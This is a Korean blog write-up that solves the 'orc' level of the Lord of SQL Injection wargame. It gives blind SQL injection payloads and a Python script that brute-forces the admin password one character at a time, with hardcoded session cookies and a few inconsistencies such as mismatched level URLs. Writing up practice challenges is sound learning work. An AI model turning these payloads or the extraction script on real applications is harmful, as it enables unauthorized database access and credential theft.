본문 바로가기
war game/웹 워게임(los)

load of sql injection orc

by 강깅꽁 2016. 9. 6.
반응형

blind sql injection 유형의 문제이다.  이부분이 상당히 멘붕을 불러일으킨다. 



if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  
$query "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"



$_GET[pw] = addslashes($_GET[pw]); 
  
$query "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 이 부분에서 pw로 넘어오는 곳의 '같은 것들을 필터링하고 자신이 입력한 pw와 db의 pw를 비교하여 필터링 하는 것을 알 수 있다 즉 올바른 비밀번호를 입력하여야 한다는 것


우선은 비밀번호의 길이를 알아 보기 위해 다음과 같은 구문을 주입한다.


'or id='admin' and length(pw)>5 %23 // pw의 길이가 5이상이면 hello admin이 뜰 것이다. 따라서 정확한 길이를 알기 위해서 삽질을 시작한다.

길이를 알았다면 하나하나씩 db가 뱉어내는 반응을 보면서 패스워드를 알아낸다.


' || ascii(id)-103 && ascii(substr(pw,1,1))>40 %23'을 입력하게 되면 아스키 코드 값으로 pw의 첫번쨰 글자가 40 이상인지 알 수 있게 된다. 따라서 삽질을 시작하면 알 수 있다.

또한 ascii(id)-103을 하는 이유는 잘 모르지만 테이블이 guest 다음에 admin순으로 되어 있따 따라서 ascii(id)를 할 경우 첫번째 값을 가져오는데 103은 g이기 떄문에 첫번쨰를 뺴고 두번째 admin을 구하기 위해 넣어 주는 것이다.

ascii(id)-103 구문 대신 id='admin' 구문을 넣어주어도 댄다


blind_sql_injection python

import requests

import re

custom_headers = {

   'User-Agent': 'Dalvik/2.1.0',

   'Host': 'los.sandbox.cash',

   'Connection': 'Keep-Alive',

        'Cookie': '__cfduid=ded2179a317b40c718482d2535a9b2a2b1472712358; PHPSESSID=3sg1cotftroqovpkgsq466rri1'

}


''' #r = requests.get("http://los.sandbox.cash/chall/orc_c6199859b81e3a30d63d948875f6a3dd.php?pw=%27%20||id=%27admin%27%20ascii(substr(pw,1,1))%20=%2750",headers=custom_headers) '''

key=0

id=''

for i in range(1,100):

    head1="http://los.sandbox.cash/chall/orge_724bc99aec5d0ec3664912dfacdca45a.php?pw=%27%20||id='admin'%26%26length(pw)="

    head2="%d %%23" % i

    print head1+head2

    r=requests.get(head1+head2,headers=custom_headers)

    aa=''

    aa=r.content

    r=aa.find("Hello admin")

    if r>0:

        key=i

        print ("find")

        break



print "key length is %d" % key



for i in range(1,key+1):

    for j in range(36,127):

        head1="http://los.sandbox.cash/chall/orge_724bc99aec5d0ec3664912dfacdca45a.php?pw=%27%20||id='admin'%20ascii(substr(pw,"

        head2="%d" % i

        head3=",1))%20=%27"

        head4="%d" % j

        ''' print head1+head2+head3+head4 '''

        r=requests.get(head1+head2+head3+head4,headers=custom_headers)

        aa=''

        aa=r.content

        r=aa.find("Hello admin")

        if r>0:

            id+= chr(j)

            print ("find %s" % id)

            break



print "key is %s" %(id)